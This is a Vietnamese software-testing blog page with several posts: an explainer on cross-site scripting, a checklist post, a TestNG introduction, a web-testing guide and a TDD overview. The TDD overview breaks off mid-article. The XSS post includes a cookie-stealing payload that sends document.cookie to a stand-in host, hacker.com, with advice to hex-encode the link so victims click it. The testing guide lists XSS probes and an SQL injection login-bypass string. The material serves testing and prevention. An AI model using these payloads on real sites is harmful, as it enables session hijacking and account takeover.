Kĩ thuật tấn công CROSS-SITE SCRIPTING

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.

1.XSS là gì?

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những nạn nhân sử dụng.

2.Lỗi xảy ra như thế nào

Lỗi này xảy ra khi ứng dụng web thu nhận các dữ liệu nguy hiểm được nhập từ hacker. Một website thường chứa các link, thông qua các link này hacker có thể chèn các đoạn code vào và khi người dùng nào đó sử dụng link này thì coi như 99% là chết, hacker có thể thông qua lỗi này để chèn code vào site hay link để lấy các thông tin quan trọng từ nạn nhân

Phụ thuộc vào mục đích của hacker, những đoạn Javascript được chèn vào để lấy những thông tin như:

• Cookie: hacker có thể lấy được cookie của người dùng và dùng những thông tin trong cookie để giả mạo phiên truy cập hoặc lấy những thông tin nhạy cảm khác được lưu trong cookie.
• Keylogging: hacker có thể ghi lại những thao tác gõ phím của người dùng bằng cách sử dụng sự kiện trong Javascript và gửi tất cả những thao tác gõ phím đó về cho hắn để thực hiện những mục đích như đánh cắp các thông tin nhạy cảm, lấy mật khẩu truy cập website hoặc mã số thẻ tín dụng...
• Phishing: hacker có thể thay đổi giao diện của website bằng cách thay đổi cấu trúc HTML trong trang web để đánh lừa người dùng. Hacker có thể tạo ra những form đăng nhập giả nhằm lừa người dùng đăng nhập vào để đánh cắp mật khẩu.

Sau đó các thông tin này được gửi tới cho hacker . Cách thường dùng của hacker là mã hoá các phần nguy hiểm của link ( đã chèn code) thành kiểu HEX ( hoặc có thể là các hình thức khác ) để làm cho nạn nhân ít nghi ngờ khi click vào cái link nguy hiểm đó . Sau đó là tìm cách nào đó để cho nạn nhân chịu click vào cái link đó.

Hầu hết các ứng dụng web hiện nay dùng cookie để kết hợp 1 tài khoản duy nhất cho 1 người dùng nào đó , nghĩa là cookie của người nào người đó dùng . Các webmail , web bán hàng , nhà băng , ... đa số đều dùng cookie với mục đích chứng thực ngừơi dùng , và đây là cái mà hacker cần .

3.XSS hoạt động như thế nào?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như làhttp://www.example.com/search.cgi?query=<script>alert('Website đang bị lỗi XSS!');</script>. Và rất có thể trình duyệt của bạn sẽ hiện lên một popup thông báo "Website đang bị lỗi XSS!".

                 Ví dụ website bị lỗi XSS

Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.

Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.

Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ..

4.Kiểm tra lỗi XSS

Bước 1: Mở website cần kiểm tra

Bước 2: Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ). Ví dụ nhập text: "Test thôi hị hị KCRD".

Bước 3: Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về. Ví dụ bạn thấy thế này:

"Your search for 'Test thôi hị hị KCRD' did not find any items" "Your search for 'Test thôi hị hị KCRD' returned the following results" "User 'Test thôi hị hị KCRD' is not valid" "Invalid login 'Test thôi hị hị KCRD'" hoặc là cái gì đó mà có dính tới chữ "Test thôi hị hị hị KCRD" mà bạn nhập vào ban đầu thì 99% trang này bị lỗi XSS.

                                                                                          Website có khả năng cao bị lỗi XSS

Bước 4: Chèn code thực sự vào nơi bị lỗi. Bạn có thể chèn:

<script>alert('Test thôi hị hị KCRD')</script> <i*g csstest=javascript:alert('Test thôi hị hị KCRD')> &{alert('Test thôi hị hị KCRD')}; vào ô tìm kiếm và nhấn "Search". Nếu sau đó bạn nhận được 1 popup có chữ "Test thôi hị hị KCRD" thì trang web này đã bị dính lỗi XSS.

                                                                                              Xác định website bị lỗi XSS sau khi javascript hoạt động và show popup

Nhưng thỉnh thoảng vẫn có trường hợp website đó bị dính lỗi XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải view sources để xem. Khi view source kiểm tra dòng <script>alert(‘Test thôi hị hị KCRD’)</script>, nếu có thì có nghĩa là website dính lỗi XSS.

Qua 4 bước trên ta có thể xác định website có bị lỗi XSS hay không. Sau khi đã xác định được website bị lỗi XSS, chúng ta có thể dựa vào đó để thực hiện việc tấn công. 1 ví dụ điển hình là đánh cắp cookie của trình duyệt. Như chúng ta đã biết, các website sử dụng cookie lưu trên máy người dùng để định dạng người dùng. Mỗi khi client gửi request lên server với cookie đã được server trả về từ trước, server sẽ không cần phải hỏi lại các thông tin xác thực user nữa (kiểu như email và password), thay vào đó dựa vào cookie server sẽ biết luôn user là ai và cung cấp các quyền tương ứng. Dựa vào đặc tính của cookie, sau khi đánh cắp cookie của người dùng (victim), hacker có thể login truy cập vào trang web với quyền của victim mà không cần username và password.

Sau đây là các bước cơ bản cho việc đánh cắp cookie.

• Tạo 1 file nhận cookie từ phía client và post lên host của hacker. File có thể access thông qua link:http://hacker.com/get_cookie
• Gửi cho nạn nhân 1 link có dạng: http://search.com?query=<script>window.open("http://www.hacker.com/get_cookie?cookie="+document.cookie)</script> Như vậy ngay sau khi user click vào đường link trên, cookie sẽ được tự động gửi đến tranghttp://hacker.com/get_cookie, và như vậy, cookie của user sẽ bị đánh cắp.

Hình vẽ dưới đây mổ phỏng việc user đã bị đánh cắp cookie và hacker "thông báo" cho user điều đó. Trong thực tế thì điều này đương nhiên sẽ không xảy ra, và user bình thường cũng không để ý cookie của mình là gì.

         Trường hợp user đã bị đánh cắp cookie

5.Phát hiện XSS bằng cách nào?

Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó. Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows.

6.Ngăn ngừa XSS như thế nào?

Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên:

• Chỉ chấp nhận những dữ liệu hợp lệ.
• Từ chối nhận các dữ liệu hỏng.
• Liên tục kiểm tra và thanh lọc dữ liệu.

Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết. Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ script sẽ được đổi thành script. Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người sử dụng. Hình dưới đây là 1 ví dụ trang web cho phép hiển thị tất cả dữ liệu nhập vào nhưng không gây ra bất kỳ ảnh hưởng nào đến người dùng. Nhìn vào source code của trang, chúng ta có thể thấy các ký tự đặc biệt đều đã được mã hóa và script trở nên vô hại.

           Phòng ngừa XSS bằng cách mã hóa các ký tự đặc biệt

7.Nhìn nhận về XSS dưới quan điểm của 1 tester

Nếu như coder sẽ phải tìm hiểu để phòng trống XSS bằng cách sửa chính những dòng code của mình, thì tester cần làm sao để "thấy" được càng nhiều lỗi XSS càng tốt. Hay nói cách khác là phát hiện tất cả các lỗi XSS có thể của hệ thống. Để làm được việc này, các test case cần được cập nhật thêm những case cho XSS. Đảm bảo rằng trên mọi màn hình của hệ thống, script mà user nhập vào không được chạy cũng là 1 dấu hiệu tốt đảm bảo hệ thống không mắc lỗi XSS

share: viblo . asia

Continue Reading →

Checklist format

Chia sẻ với các bạn tester một vài biểu mẫu tạo checklist cho lĩnh vực ứng dụng chạy trên nền windown, app mobile, website.
Nếu bạn nào đang sở hữu 1 vài checklist khác với template dưới hãy chia sẻ với mình qua mail thuyph138@gmail.com
Thank for sharing with me :)
Checklist - Là một danh sách các đầu mục chức năng/ nghiệp vụ cần kiểm tra trong một thủ tục hay quy định nhất định. Nó giúp cho người kiểm thử nắm bao quát được tổng thể các chức năng trong 1 object & Đánh giá được trường hợp pass or fail. Từ bộ checklist sẽ được bóc tách chia thành nhiều ca kiểm thử (testcase).

Template:
+  Application-testing-check-list-thuypt
+  Quality-assurance-checklist-thuypt
+  Smoke-test-checklist-thuypt

Continue Reading →

Part 1: Giới thiệu về mã nguồn mở TestNG dành cho kiểm thử phần mềm

Testing Framework...

Đối với các lập trình viên Java, liên tưởng đầu tiên khi đề cập tới cụm từ "Testing Framework" đều là "JUnit". Tuy nhiên, nhắc tới "Testing Framework" không chỉ có Junit mà hiện còn có "TestNG". Vậy "TestNG" là gì? "TestNG" là một Testing Framework đang được đánh giá rất cao và đang dần củng cố và khẳng định vị thế là một testing framework hữu ích và dễ dàng sử dụng. Điển hình như JBoss Seam hiện đang cung cấp Testing Framework tích hợp dựa trên nền tảng TestNG.

Trong khuôn khổ bài viết này, chúng tôi sẽ đưa ra cho các bạn một cái nhìn tổng quát nhất về TestNG (từ những khái niệm cơ bản về TestNG cho tới hướng dẫn chi tiết cách sử dụng TestNG) để các bạn có thể nắm được những nguyên tắc, nguyên lí cơ bản khi sử dụng TestNG trong một dự án phát triển phần mềm.

JUnit thì đã quá quen thuộc với các bạn lập trình viên Java rồi. Vậy, JUnit và TestNG giống và khác nhau như thế nào? Tại sao TestNG lại được đánh giá cao như vậy? Phân tích sau đây sẽ giúp các bạn hiểu và biết được một số thế mạnh của TestNG so với JUnit.

5 hạn chế của JUnit3

JUnit hiện có 2 phiên bản phổ biến là Junit3 (phiên bản đầu tiên) và Junit4 (phiên bản dựa trên nền tảng các chỉ dẫn Anomation dành cho Java SE 5.0). Do TestNG được release trước cả JUnit 4 nên để có thể hiểu được tổng quan về TestNG thì trước hết cần phải biết được những điểm hạn chế tiềm tàng của JUnit3.

Hạn chế 1: Cố định tên của Test Method

Ở JUnit3, tên Test Method đều bắt đầu bằng chữ "test". Do đó, nếu không thực hiện Test Method nào đó thì bắt buộc phải chuyển Method name đó từ "testAdd" thành "_testAdd". Giả dụ nếu như trong TestClass nào đó có tới 20 TestMethod nhưng chỉ thực hiện 10 TestMethod thì phải chuyển Method name của 10 TestMethod còn lại sang "_testAdd". Điều đó rất dễ gây khó chịu và phiền hà cho người sử dụng

Hạn chế 2: Không cho truyền Argument vào TestMethod

JUnit3 không cho truyền Argument vào TestMethod. Việc sử dụng Argument trong Java là điều cơ bản và đương nhiên phải thế. Do đó, nếu có thể truyền giá trị Argument vào TestMethod thì có thể nâng cao chất lượng xử lý check validation thông qua việc thay đổi giá trị Argument.

Hạn chế 3: Exception test phức tạp

Nếu muốn test xem liệu method có throw đúng Exception cần throw hay không thì cần phải add thêm đoạn code sau:

TestMethod này sẽ thực hiện kiểm chứng xem có phát sinh RuntimeException khi call method throwException() method hay không. Nếu phát sinh Exception thì tức là Test thành công.

Trong đoạn code này, chúng ta thấy có gán thêm "expected" vào tên biến Exeption, nếu không phát sinh Exception thì sẽ call method fail() và kiểm thử là thất bại.

Hạn chế 4: Khá ít xử lý check validate cho xử lý trước sau

JUnit 3 sử dụng 2 phương thức là setUp() và tearDown() giúp chúng ta tránh được việc trùng mã khi nhiều test cùng chia sẻ nhau ở phần khởi tạo và dọn dẹp các biến. Tuy nhiên, 2 phương thức này lại được gọi ở trước và sau các phương thức test. Trong lúc xử lý khởi tạo thì chỉ gọi 1 lần theo đơn vị TestClass chứ không phải theo TestMethod.

Figure1　TestFlow of JUit3

Hạn chế 5: Chỉ tạo instance tương ứng với số lượng TestMethod

Đây không phải là vấn đề gì quá to tát nhưng nó là một concept quan trọng của JUnit. Ở cả 2 phiên bản JUnit3 và JUnit4 đều sẽ tạo ra instance cho từng TestMethod. Điều đó có nghĩa là nếu một TestClass nào đó mà có 5 TestMethod thì nó sẽ tạo ra 5 instances cho 5 TestMethod đó.

Figure2　Chỉ tạo instance tương ứng với số lượng TestMethod

Tại sao lại có cơ chế như vậy? Điều này là bắt nguồn từ suy nghĩ là "Cần phải tiến hành test độc lập". Bằng cách tạo ra các testcase cho từng TestMethod bạn luôn có thể chạy kiểm thử được trong cùng một tình trạng tương tự nhau. Và tùy vào trạng thái của các instance để không ảnh hưởng tới việc thành công hay thất bại của các lần kiểm thử. Tuy nhiên, dù có sử dụng ngôn ngữ chỉ hướng đối tượng hay không thì cũng có lúc rất bất tiện nếu đối tượng không có trạng thái.

TestNG là gì?

TestNG là một testing framework được xây dựng dựa trên cảm hứng từ JUnit và NUnit. TestNG không chỉ giải quyết được 5 hạn chế nêu trêu của Junit3 mà còn cung cấp các chỉ dẫn Annotation từ Java SE 5.0 để mô tả về cách kiểm thử.

Trong từ TestNG có từ "NG" có nghĩa là Next Generation, do vậy, nó không phải là biến thể của JUnit và Nunit Người tạo dựng lên công cụ TestNG này là Cedric Beust, một kĩ sư lập trình của Google.

TestNG có 5 tính năng nổi bật sau đây:

1. Mô tả các thiết lập khác nhau khi kiểm thử bằng file XML
2. Cung cấp các chỉ dẫn Annotation-based để nhận diện phương thức test
3. Xác lập cụ thể thời điểm cho các xử lý trước và sau
4. Phân nhóm kiểm thử
5. Tạo mối quan hệ ràng buộc lẫn nhau giữa các module

Các yêu cầu hệ thống và cài đặt môi trường cho TestNG, các bạn có thể tham khảo tại đây: http://testng.org/doc/. Sau khi download về, các bạn chỉ cần giải nén archive và add thêm file "testng-X.X-jdk15.jar" vào ClassPath là xong.

Vì TestNG cung cấp chỉ dẫn Annotation từ Java SE 5.0 nên yêu cầu Java version phải từ 5.0 trở lên.

Continue Reading →

Những lưu ý khi kiểm thử một website

Đặc điểm của ứng dụng web

Chỉ cài đặt trên máy chủ Cần có hệ thống mạng nội bộ(LAN)Các máy trạm làm việc chỉ cần một trình duyệt web Dữ liệu tập trung trên server Quản lý và bảo mật tốt hơn

Phân biệt web app và win app 

khi thực hiện kiểm thử một ứng dụng web chú ý các đầu mục dưới đây:

1. Interface testing

A. Nội dung hoạt động :

• Thông tin thể hiện như menu, kích thước, vị trí, màu sắc, font chữ thể hiện trên form
• Kiểm tra các điều khiển: Textbox, option (radio button), check boxes, command button, combo boxes, list boxes, Label, Dialog, Icon/Tooltip, Phím nóng/ tắt, các phím Tab/ Shift tab/ enter/ ESC, Focus con trỏ, Thông báo, Menu điều khiển, dấu hiệu của trường bắt buộc
• Giá trị mặc định

B.Phương pháp thực hiện:

Xác định được số Form cần test (dựa theo tài liệu thiết kế giao diện nếu có)

Kiểm tra lần lượt các điều khiển trên cùng 1 form theo trật tự từ:

• Trên xuống dưới
• Từ trái sang phải
• Từ mỗi điều khiển độc lập đến logic giữa các điều khiển

Kiểm tra các nội dung trên mỗi Form như sau:

• Màu sắc hài hoà hợp lý, vị trí các điều khiển đặt theo yêu cầu khách hàng (nếu có trong yêu cầu).
• Các nút hiển thị ở các Form tương tự nhau phải giống nhau trừ khi có yêu cầu riêng.
• Các tên thuộc tính dạng text tương ứng với các điều khiển trên Form đều phải đúng chính tả không dùng tiếng anh.
• Kiểm tra giao diện các Form trên các trình duyệt khác nhau đảm bảo phải như nhau.

C. Những lỗi thường gặp:

1. Các Form giao diện không nhất quán về màu sắc, tên nút, các nút không cùng kích cỡ.
2. Các câu thông báo thường sai chính tả hoặc là tiếng anh hoặc tiếng việt không dấu.
3. Lỗi chính tả (tên Form, tên nút lệnh, tên trường thuộc tính...)
4. Thiếu ký tự * bên cạnh trường bắt buộc
5. Câu thông báo không chính xác với thao tác đã thực hiện
6. Sai trật tự Tab
7. Khi một nút lệnh không được sử dụng trong 1 số thời điểm nó không được chuyển sang màu xám mờ
8. Tên các nút lựa chọn mang tính kỹ thuật, không dễ hiểu với người dùng hệ thống.
9. Không Focus con trỏ chuột tới thuộc tính đầu tiên của form.

Phân biệt UI và UX (User interface and User experiences)

Basic functionality testing

A. Nội dung cần test

• Việc xử lý các thao tác (action): Add,Update,Delete,Data type, Select , View, Search, Import/Export, Share/Send data
• Valid data: Việc xử lý các chức năng với việc nhập các bộ dữ liệu hợp lệ
• Invalid data:Việc xử lý các chức năng với việc nhập các bộ dữ liệu không hợp lệ
• Flow: Việc xử lý mối liên hệ giữa các chức năng theo luồng nghiệp vụ.

B. Phương pháp thực hiện

Để test function, Kiểm thử viên sẽ áp dụng tất các kỹ thuật test để phân tích ra các trường hợp hợp lệ và các trường hợp không hợp lệ, các luồng nghiệp vụ đúng ...

• Khi test valid data và invalid data thì áp dụng các kỹ thuật test phân tích giá trị biên, phân vùng tương đương để tạo dữ liệu.
  • Ví dụ: Đối với trường nhận giá trị text thì sẽ có thể có những case sau:
    • characters: " the material is publish for all person "
    • number: "123"
    • special character: "!@#$%"
    • html tags:<script> the material is publish for all person </script>
    • html tags: <script>alert("xss error") </script>
    • html tags: <script> window.open("http://learningtesting.net") </script>
• Khi test việc xử lý theo các action thì cần chú ý : với mỗi thao tác của người dùng đều làm cho hệ thống biến đổi sang một trạng thái khác.
• Khi test flow: kiểm thử viên phải hiểu và nắm được về luồng nghiệp vụ của mỗi phần mềm.

Link testing

A. Nội dung kiểm thử

• Kiểm tra các links liên kết ngoài trang web
• Kiểm tra tất cả các links nội bộ
• Kiểm tra các links tới các vị trí trong cùng trang
• Kiểm tra các links sử dụng để gửi mail tới admin hoặc người dùng khác từ trang web
• Kiểm tra xem có trang trống nào không
• Kiểm tra các links bể trong tất cả các links nói trên

B. Phương thức thực hiện Ví dụ Test tất cả link nội bộ trong trang facebooks.com :)))

• Vào công cụ hỗ trợ Link checker: http://validator.w3.org/
• Nhập địa chỉ trang web:
• Kết quả trả về về những trang bị broken

Compatibility testing

A. Nội dung kiểm thử

• Kiểm thử sự tương thích với trình duyệt
• Kiểm thử sự tương thích với hệ điều hành
• Kiểm thử sự tương tích với thiết bị di động
• Kiểm thử sự tương thích với tùy chọn các thiết bị ngoại vi ( máy in …)

B. Phương pháp thực hiện

Khi test một web thì cần phải có các yêu cầu:

• Chạy trên hệ điều hành: window… back 2 trở lên
• Chạy các trình duyệt : firefox, chrome, IE,
• Chạy trên các trình duyệt của các thiết bị di động có hệ điều hành là android hoặc ios.
• Có thể kết nối với máy in để in bài

=> Khi kiểm thử phải thực hiện kiểm thử tính tương thích của phần mềm với tất cả các yêu cầu trên.

Usability testing

A. Nội dung kiểm thử:

• Kiểm thử cho chuyển hướng
• Kiểm thử tính khả dụng
• Kiểm thử nội dung
• Các thông tin hỗ trợ người dùng

B. Phương pháp thực hiện:

Trên các grid list ở hình phải sort được theo các cột thông tin: <chen hinh > Thời gian Order mới nhất

• Số lượng người tham dự từ lớn xuống bé
• Slượng vé từ thấp lên cao
• Trạng thái theo vần alpha Nen Đối với tính khả dụng này, có thểm làm theo yêu cầu cụ thể của khách hàng với từng tiêu chí ứng với nghiệp vụ.

Security testing

A. Nội dung kiểm thử

• Kiểm tra lỗi SQL Injection:
• Kiểm tra lỗi XSS
• Kiểm tra lỗ hổng CSRF
• Kiểm tra lỗi Path Traversal
• Kiểm tra lỗi mã hóa dữ liệu
• Kiểm tra lỗi xác thực/phân quyền
• Kiểm tra lỗi User enumeration
• Kiểm tra lỗi Session fixation
• Kiểm tra lỗ hổng cho phép dò đoán mật khẩu, thu thập danh sách, thông tin người dùng: Các ứng dụng không có cơ chế bảo vệ sử dụng captcha, lock account khi đăng nhập sai quá số lần quy định đều có khả năng bị mắc lỗi này.

B. Cách thức thực hiện

• Ví dụ 1: Kiểm tra lỗi sql injection Nhập vào form đăng nhập chuỗi ký tự đặc biệt: test' or '1'='1. Hệ thống đăng nhập thành công => bị lỗi sql injection
• Ví dụ 2: Kiểm tra lỗi xss:
  • Nhập vào chuỗi kí tự <script>alert(“ XSS”)</script> vào những nơi có thể nhập được dữ liệu
  • Sau đó, kích nút Lưu

=> Nếu ứng dụng lưu lại và cho phép thực thi script thì trên trình duyệt sẽ xổ ra cửa sổ có dòng chữ “ XSS”, khi đó ứng dụng bị mắc lỗi XSS.

Tìm hiểu thêm lỗi và cách tấn công website bằng XSS

• Ví dụ 3: Kiểm tra lỗi xác thực/phân quyền: Sử dụng 2 user, 1 user có quyền thấp và 1 user có quyền cao hơn. Khi sử dụng user có quyền cao truy cập vào các chức năng dành riêng ta ghi lại các đường dẫn trên URL, sau đó đăng nhập vào bằng user quyền thấp và thử truy cập vào link đó. Nếu ứng dụng cho phép user truy cập thì cơ chế xác thực phân quyền của ứng dụng không có tác dụng.
• Ví dụ 4: kiểm tra lỗi User enumeration : Đăng nhập vào ứng dụng (cố tình nhập sai user hoặc password sai). Nếu ứng dụng trả về câu thông báo cụ thể là “sai mật khẩu” hoặc “sai user” thì ứng dụng mắc lỗi. Còn nếu trả về câu thông báo chung ví dụ “Username hoặc password không đúng.” thì không bắt lỗi.
• Ví dụ 5: Kiểm tra lỗi lỗ hổng cho phép dò đoán mật khẩu, thu thập danh sách, thông tin người dùng: Các ứng dụng không có cơ chế bảo vệ sử dụng captcha, lock account khi đăng nhập sai quá số lần quy định đều có khả năng bị mắc lỗi này

Performance testing/Load test/ Stress test

A. Performance Testing:

Công cụ kiểm thử: jmeter tool

• Kiểm tra hiệu quả thực thi của ứng dụng như Thời gian phản hồi và Tốc độ thực hiện của nó
• Mục đích: giúp phát hiện ra những vẫn đề thiếu xót về tài nguyên của server – side như:
  • Ảnh hưởng của băng thông
  • Khả năng của database
  • Yêu cầu phần cứng/phần mềm

B. Load testing

• Kiểm tra hệ thống thực thi trong điều kiện có nhiều người dùng cùng truy xuất đồng thời dưới nhiều điều kiện khác nhau:
• Mục đích:
  • Nhiều người cùng truy cập
  • Nhiều giao dịch thực hiện cùng lúc
  • Xử lý file dung lượng lớn
  • Xử lý cùng lúc nhiều file …

C. Stress Test

• Kiểm tra dựa trên việc tăng liên tục mức độ chịu tải cho đến khi hệ thống ngưng hoạt động
• Mục đích: xác định mức tới hạn của hệ thống có thể đáp ứng

Đối với các loại kiểm thử này, người dùng thông thường sử dụng một số loại tool test tự động để thực hiện nó như jmeter, quick test pro, …

Regression test

• Kiểm thử hồi quy tập trung vào việc tìm kiếm lỗi sau khi xảy ra việc thay đổi code. Đặc biệt, nó tìm kiếm theo cách hồi qui (đệ qui) hoặc kiểm tra các bug cũ có bị lại hay không. Hồi qui như vậy xảy bất cứ khi nào mà chức năng phần mềm trước đây làm việc đúng đã ngưng làm việc theo mong đợi.
• Hướng dẫn thực hiện:
  • Với các dự án nhỏ, kiểm thử hồi quy được thực hiện thủ công.
  • Với các dự án vừa và lớn, có khoảng thời gian xây dựng, phát triển và duy trì lâu dài thì người ta hướng tới việc viết các kịch bản tự động test. Kiểm thử viên có thể sử dụng các tool như selenium để viết các script tự động này.

Continue Reading →

Tổng quan về TDD-BDD & kiểm thử phần mềm trong mô hình Agile từ góc nhìn của một Acceptance Tester

Một tester chuyên nghiệp – có thể nói nhu cầu hiểu biết về các mô hình phát triển phần mềm tiên tiến là một nhu cầu bức thiết. Với mong muốn chia sẻ và trau dồi thông tin, mình xin gửi đến các bạn đọc giả của hoidapit một số hiểu biết của mình về Test-Driven Development (TDD) và Behavior-Driven Development (BDD) – mô hình phát triển phần mềm hướng kiểm thử (test oriented) theo tinh thần Agile – đã và đang được áp dụng rộng rãi.
1. TDD là gì?

Mô hình "Test – Driven Development " (TDD). Trong quy trình này, kiểm thử đơn vị được viết đầu tiên do các kỹ sư phần mềm (thường là lập trình song song trong các phương pháp lập trình Extreme). Tất nhiên những kiểm thử bước đầu thất bại như dự kiến, nhưng sau đó Code được viết xong thì phần lớn các Test Suite sẽ từng bước tăng lên. Nó được cập nhật như là các lỗi điều kiện mới và các trường hợp tiềm ẩn vừa được phát hiện ra, chúng được tích hợp với bất kỳ kiểm thử hồi quy nào được phát triển. Kiểm thử đơn vị được duy trì cùng với phần còn lại của các mã nguồn phần mềm và được tích hợp chung vào quá trình xây dựng (với những kiểm thử tương tác vốn đã bị loại bỏ quá trình xây dựng mức chấp nhận thông thường). Mục tiêu cuối cùng của quá trình kiểm thử này là để đạt được việc triển khai liên tục mà ở đó những cập nhật phần mềm có thể được công bố cho công chúng thường xuyên.

Phương pháp này làm tăng các nỗ lực kiểm thử trước khi động đến bất kỳ nhóm kiểm thử chính thức. Trong một số mô hình phát triển khác, hầu hết việc thực hành các kiểm thử xảy ra sau khi các yêu cầu đã được xác định và quá trình mã hóa đã được hoàn thành.

Chính xác với nghĩa đen của nó: “Test-Driven Development” có thể được tạm hiểu là mô hình phát triển với trọng tâm hướng về việc kiểm thử. TDD được xây dựng theo hai tiêu chí: Test-First (Kiểm thử trước) và Refactoring (Điều chỉnh mã nguồn). Trong đó, khi một yêu cầu phần mềm (requirement) được đặt ra:

-  Người developer soạn thảo kịch bản kiểm thử (test case) cho yêu cầu đó trước tiên và chạy thử kịch bản đó lần đầu tiên. Hiển nhiên, việc chạy thử sẽ đưa ra 1 kết quả thất bại vì hiện tại chức năng đó chưa được xây dựng (và thông qua kết quả đó, ta cũng kiểm tra được là kịch bản kiểm thử đó được viết đúng).

-  Theo đó, dựa vào mong muốn (expectation) của kịch bản kia, người developer sẽ xây dựng một lượng mã nguồn (source code) vừa đủ để lần chạy thứ 2 của kịch bản đó thành công.

-  Nếu trong lần chạy thứ 2 vẫn đưa ra 1 kết quả thất bại, điều đó có nghĩa là thiết kế chưa ổn và người developer lại chỉnh sửa mã nguồn và chạy lại kịch bản đến khi thành công.

-  Khi kịch bản kiểm thử được chạy thành công, người developer tiến hành chuẩn hóa đoạn mã nguồn (base-line code) và tiếp tục hồi quy với kịch bản kiểm thử tiếp theo. Việc chuẩn hóa bao gồm thêm các comment, loại bỏ các dư thừa, tối ưu các biến…

Quy trình phát triển TDD vẽ bởi Colin Kloes, đề cập vấn đề khó khăn trong việc hiểu rõ yêu cầu chức năng trước khi viết kịch bản kiểm thử

2. Điểm khác biệt của TDD với một mô hình truyền thống là gì?
Thông qua quy trình TDD trình bày ở trên, ta có thể dễ dàng nhận ra là thứ tự các bước xây dựng 1 tính năng phần mềm gần như đã được đảo ngược so với 1 quy trình truyền thống. Vậy điều này giúp ích gì và có gì hay hơn?

Trước hết, hãy nhìn lại 1 mô hình thác đổ (Waterfall Model) thông thường: việc phân tích các yêu cầu (requirements) thường được tiến hành bởi Business Analyst (BA) 1 cách chuyên hóa và khi đến giai đoạn xây dựng (implementing phase) thì đa phần các developer tiếp xúc với các yêu cầu phần mềm dưới dạng các bản thiết kế. Họ chỉ quan tâm đến đầu vào, đầu ra (Input, Output) của tính năng mình xây dựng mà thiếu đi cái nhìn thực tiễn từ góc nhìn người dùng (end-users). Một hệ quả tất yếu là lỗi phần mềm đến từ việc sản phẩm ko tiện dụng với người dùng.
Cùng với Agile, việc ứng dụng TDD góp phần làm gần khoảng cách giữa đội ngũ thiết kế phần mềm và sản phẩm thực tiễn, tối ưu quy trình [2]. Cụ thể như sau:

-  Thông qua kịch bản kiểm thử, developer có cái nhìn trực quan về sản phẩm ngay trước khi xây dựng mã nguồn. Sản phẩm họ tạo ra chính xác và gần gũi người dùng hơn.

-  Phần mã nguồn được thêm vào chỉ vừa đủ để chạy thành công kịch bản kiểm thử, hạn chế dư thừa và qua đó hạn chế khả năng xảy ra lỗi trên những phần dư thừa.

-  Bảo đảm mã nguồn luôn phản ánh đúng và vừa đủ yêu cầu phần mềm, hạn chế được công sức tối ưu mã nguồn về sau.

3. TDD và Agile
